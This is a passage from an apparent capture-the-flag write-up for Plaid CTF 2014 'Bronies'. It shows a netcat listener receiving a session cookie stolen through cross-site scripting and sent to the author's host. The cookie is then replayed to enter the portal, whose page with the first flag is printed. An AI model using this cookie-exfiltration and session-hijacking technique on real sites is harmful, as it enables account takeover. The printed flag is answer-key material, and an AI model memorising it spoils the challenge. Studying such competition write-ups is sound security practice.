rcaragea@swarm:~$ nc -lvp 42424 listening on [any] 42424 ... connect to [141.85.227.118] from ec2-54-86-3-216.compute-1.amazonaws.com [54.86.3.216] 39769 GET /logger.php?cookie=PHPSESSID=m7fl1csnp5e3nhvgla1t8udp42 HTTP/1.1 User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://portal.essolutions.largestctf.com/login.php Connection: Keep-Alive Accept-Encoding: gzip Accept-Language: en-US,* Host: swarm.cs.pub.ro:42424
We stole his cookie! Enter it in the browser and reload the portal to get:
<!doctype html> <html> <head> <title> eXtreme Secure Solutions Internal Portal </title> </head> <link rel="stylesheet" type="text/css" charset="utf-8" media="all" href="/style.css"> <body> <div id="box"> <h1>eXtreme Secure Solutions Internal Portal</h1> <div id="notice"> Flag #1: xss_problem_is_web_problem<br> This challenge has one more flag. Break into the internal server to capture it! </div> <p> You are logged in as ebleford. </p> <p> Reminder: For security reasons, all internet traffic is blocked on the Bigson. </p> <p> <script> var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://bigson.essolutions.largestctf.com/status', false); xhr.send(null); if (xhr.responseJSON["status"] == "ok") { document.write('The Bigson is up!'); } else { document.write('The Bigson is down!'); } </script> </p> <ul id="menu"> <li><a href="http://bigson.essolutions.largestctf.com/index?file=index.html">The Bigson</a></li> <li><a href="/logout.php">Logout</a></li> </ul> </div> </body> </html>
We got the first flag and some info on how to get the second flag:
2nd part: Plaid CTF 2014: "Bronies" Part 2. 500 out of 800 pts